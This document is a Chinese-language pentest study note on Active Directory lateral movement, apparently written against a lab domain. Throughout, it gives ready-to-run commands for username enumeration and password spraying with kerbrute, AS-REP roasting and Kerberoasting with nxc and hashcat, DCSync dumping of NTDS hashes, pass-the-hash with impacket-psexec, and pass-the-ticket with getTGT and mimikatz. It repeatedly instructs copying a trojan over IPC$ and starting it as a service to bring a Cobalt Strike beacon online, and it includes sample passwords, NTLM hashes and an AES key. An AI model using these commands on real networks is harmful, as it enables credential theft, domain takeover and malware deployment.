域内横向移动
1. 域内横向移动方式
工作组下的横向移动方式也同样的适用,域内横向移动在原本的工作组横向移动的基础上加了一些东西。
如果说你要攻击一个域,那你就必须拿到用权限的账户。
哪些用户有权限:
administrator
domain admins 组中的用户
如何拿下有权限的账户?接下来讲的就是怎么拿下有权限的账户。
拿下有权限的账户怎么搞?
1.1. 内网的情景
入口机器是一台linux,内网的其他主机是一个域
入口机器在工作组,内网的其他主机是一个域
入口机器在域内,与内网其他主机构成一个域
出现前两种的情况,我们想要攻击域,或者拿下域,就必须有一个域内的合法账户
1.2. 用户名枚举
1.2.1. 什么情况下使用用户名枚举
原因:在域内的机器可以通过 net user /domain查询域内所有用户,就没必要枚举,不在域内的机器是无法通过 net user /domain 查询域内用户
这个用户名枚举的攻击方式,只适用与入口机器不在域内。如果入口机器在域内就不需要枚举。
1.2.2. 如何使用用户名枚举
工具:kerbrute
下载地址:https://github.com/ropnop/kerbrute
注意:在做用户名枚举的时候,你不可能把所有的用户名都枚举出来,因为你的字典是有限的
- 使用
kerbrute_windows_amd64.exe userenum --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\用户名.txt
1.2.3. 用户名枚举的原理是什么
与web渗透中的登录框的用户名爆破一样。
1.3. 密码喷洒
1.3.1. 密码的爆破
专一,对着一个用户,爆破密码
使用场景:没有用户锁定机制,那么你可以用这种方式,有的话就不行
使用命令:kerbrute_windows_amd64.exe bruteuser --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\密码.txt zhangli
1.3.2. 密码的喷洒
用一个密码,喷洒多个用户
使用场景:有用户锁定机制的情况下,要使用密码喷洒的方式
一般你需要抓一下入口机器这台的密码,然后获取这台主机的密码,在做密码的喷洒
使用命令:
kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\yhm.txt "FLW.com12138a"
1.4. 用户名枚举和密码喷洒做完之后的应该做什么
- 只拿到了域内的低权限的用户
可以通过 nxc枚举出来所有的用户,再做密码喷洒
nxc ldap $ip -u $user -p $password --users
nxc ldap 192.168.7.45 -u administrator -p FLW.com12138a --users
- 拿到了域内高权限的用户
建立IPC$,创建服务上线
net use \\192.168.7.45\IPC$ "FLW.com12138a" /user:sis2504.club\administrator
copy 木马
创建服务,上线CS
1.5. Roasting
发生在kerberos认证中的as-req阶段,问题是因为用户在认证的时候勾选了需要进行域身份认证。
情况:勾选了不要求kerberos预身份认证。
导致结果:不需要提供密码就可以获取TGT。
利用:破解这张TGT就可以获取到该用户的密码。
- 查询域内勾选了
不要求kerberos预身份认证
的用户
通过bloodhound查询域内勾选了不要求kerberos预身份认证的用户
- 获取勾选了
不要求kerberos预身份认证
的用户的票据
使用nxc
nxc ldap 192.168.7.49 -u zhangli -p "FLW.com12138a" --asreproast output.txt
- 破解tgt票据
工具:hashcat -- 内存必须大于8G
hashcat -m18200 output.txt wordlist
总结:对于Roasting攻击来说可能破解出来的密码有两种情况
- 高权限
如果是高权限账户,直接就是IPC$
- 低权限
通过nxc枚举出所有的用户(不在域内的情况下,在域内直接使用 net user /domain即可),接着对枚举出来的用户做密码喷洒,然后看是否能出来高权限的账户,然后弄他。
1.6. DCSync
原本的意思:域消息同步协议,一般在域内有两台域控,一台域控平时正常工作,另一台是正常工作的域控死了,他就顶上来了,顶上来就意味着会出现一个问题,正常工作的时候的信息是不是注册在平时的域控主机上,不会注册在备份域控上,无法达到一个消息同步的状态,所以就出了这么个协议,最终的DCSync读取的是域控制器上的ntds.dit文件 (与本地工作组环境中SAM相似)
根本:域控之间的消息同步
哪些用户具有DCSYNC的权限
administrator
Domain admins 组中的用户
域内的机器用户
- 通过bloodhound查询具有dcsync的权限用户
- 进行利用
nxc smb 192.168.7.49 -u zhangli -p "FLW.com12138a" --ntds vss
- 获取到hash之后怎么办
PTH (Pass The hash)通过hash建立链接,反弹shell
psexec
smbexec
wmiexec
impacket-psexec sis2405.club/administrator@192.168.7.49 -hashes aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823
1.7. Kerberoasting
发生在tgs-rep阶段,破解ST票据,ST由两部分组成,第二部分使用提供服务的机器/用户的hash加密的部分。
补充:
spn:域内提供服务,一个服务会对应一台机器或者一个用户,为了方便域内的用户使用或者查询域内的服务,通过spn形成了一张表,方便用户做查询。把一个楼看成一个域,这栋楼总共有3层
1剪头发 -- 洗、剪、吹、烫、染
2洗浴 -- 泡澡、淋浴、拔罐、搓澡
3按脚 -- 泰式、spaspn服务清单,方便域内的用户去查询我应该去什么地方找什么服务,一般spn可以注册在用户下面,也可以注册在域内的机器用户下面。
- 环境的配置
setspn -S MSSQLSvc/sql.sis2504.club:1433 sis2504.club\zhangli
- 如何查询域内的SPN
Setspn -Q */*
- 利用注册在域用户下的spn
注册在低权限账户下的spn
- 通过nxc工具申请注册在低权限账户下的spn的票据(ST)
nxc ldap 192.168.7.49 -u zhangli -p FLW.com12138a --kerberoasting output.txt
- 通过hashcat破解
hashcat -m13100 output.txt wordlist.txt
1.8. 总结
通过上述的所有方式,你会发现我们获取到的不是密码就是hash,实际上还有一种就是aes256值(密码通过aes256加密之后生成的内容与ntlm-hash的作用一样)
1.8.1. 获取到明文密码的时候做什么
- 哪些方式可以获取明文密码
用户枚举密码喷洒
破解TGT Roasting
破解ST Kerberoasting
- 之后干什么
建立IPC$
net use \\IP\IPC$ "passwords" /user:domian/用户名在域内哪些用户建立IPC$ 之后有权限呢?
administrator和domain admins组中的用户(zhongsiyu)copy 木马
设置服务上线即可
1.8.2. 获取到密文
获取到ntlm-hash或者aes-256的值我们应该怎么弄
pth
psexec
smbexec
wmiexec
1.8.3. 域内禁用了IPC的认证和NTLM认证
就需要学习一种新的方法叫做PTT(Pass the ticket)和PTK(Pass the key),
ptk中的key怎么获取
工具:secretsdump
secretsdump.exe hack.com/administrator:Lyp010822%@192.168.41.10
secretsdump.exe sis2504.club/administrator@10.10.10.90
PTT的方式获取到目标主机的权限
PTT全称:Pass The Ticket -- Ticket票,kerberos中有2张TGT,ST,我们可以通过密码或者hash或者ase-256-key的值获取票据,通过将票据注入到内存中使该主机对域的域控有访问权限。
- 通过明文密码申请票据
- 申请票据
getTGT.exe sis2504.club/fanwei
对应的会生成一个ccache的文件 -- 票据(TGT)
- 注入内存
mimikatz
klist purge #清空票据
在mimikatz的终端
kerberos::ptc 票据的文字 #将票据注入到内存中
- 访问
dir \\10.10.10.90\C$
注意有的时候域内是不认IP的你需要将IP变成机器名
dir \\WIN-EB8RC552TFJ\C$
dir \\WIN-EB8RC552TFJ.sis2504.club\C$
c
- 上线
copy 木马
服务上线即可
- 通过hash申请票据
- 申请票据
aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823getTGT.exe sis2504.club/fanwei -hashes aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823
- 注入内存
klist #查看票
klist purge #清除内存中的票据
kerberos::ptc test002.ccache
- 访问
dir \\WIN-EB8RC552TFJ\C$
- 上线
copy 木马
服务上线即可
- 通过ase-256申请票据
dd999b72301582631e7ba234bcde0587625a9bf2a1d1200871d4890b76dea34c
getTGT.exe sis2504.club/administrator -aesKey dd999b72301582631e7ba234bcde0587625a9bf2a1d1200871d4890b76dea34c
- 注入内存
清除票据
klist purge
使用mimikatz将票据注入内存
kerberos::ptc 票据名
- 访问加上线
dir \\WIN-EB8RC552TFJ\C$
copy xx.exe \\WIN-EB8RC552TFJ\C$
服务上线即可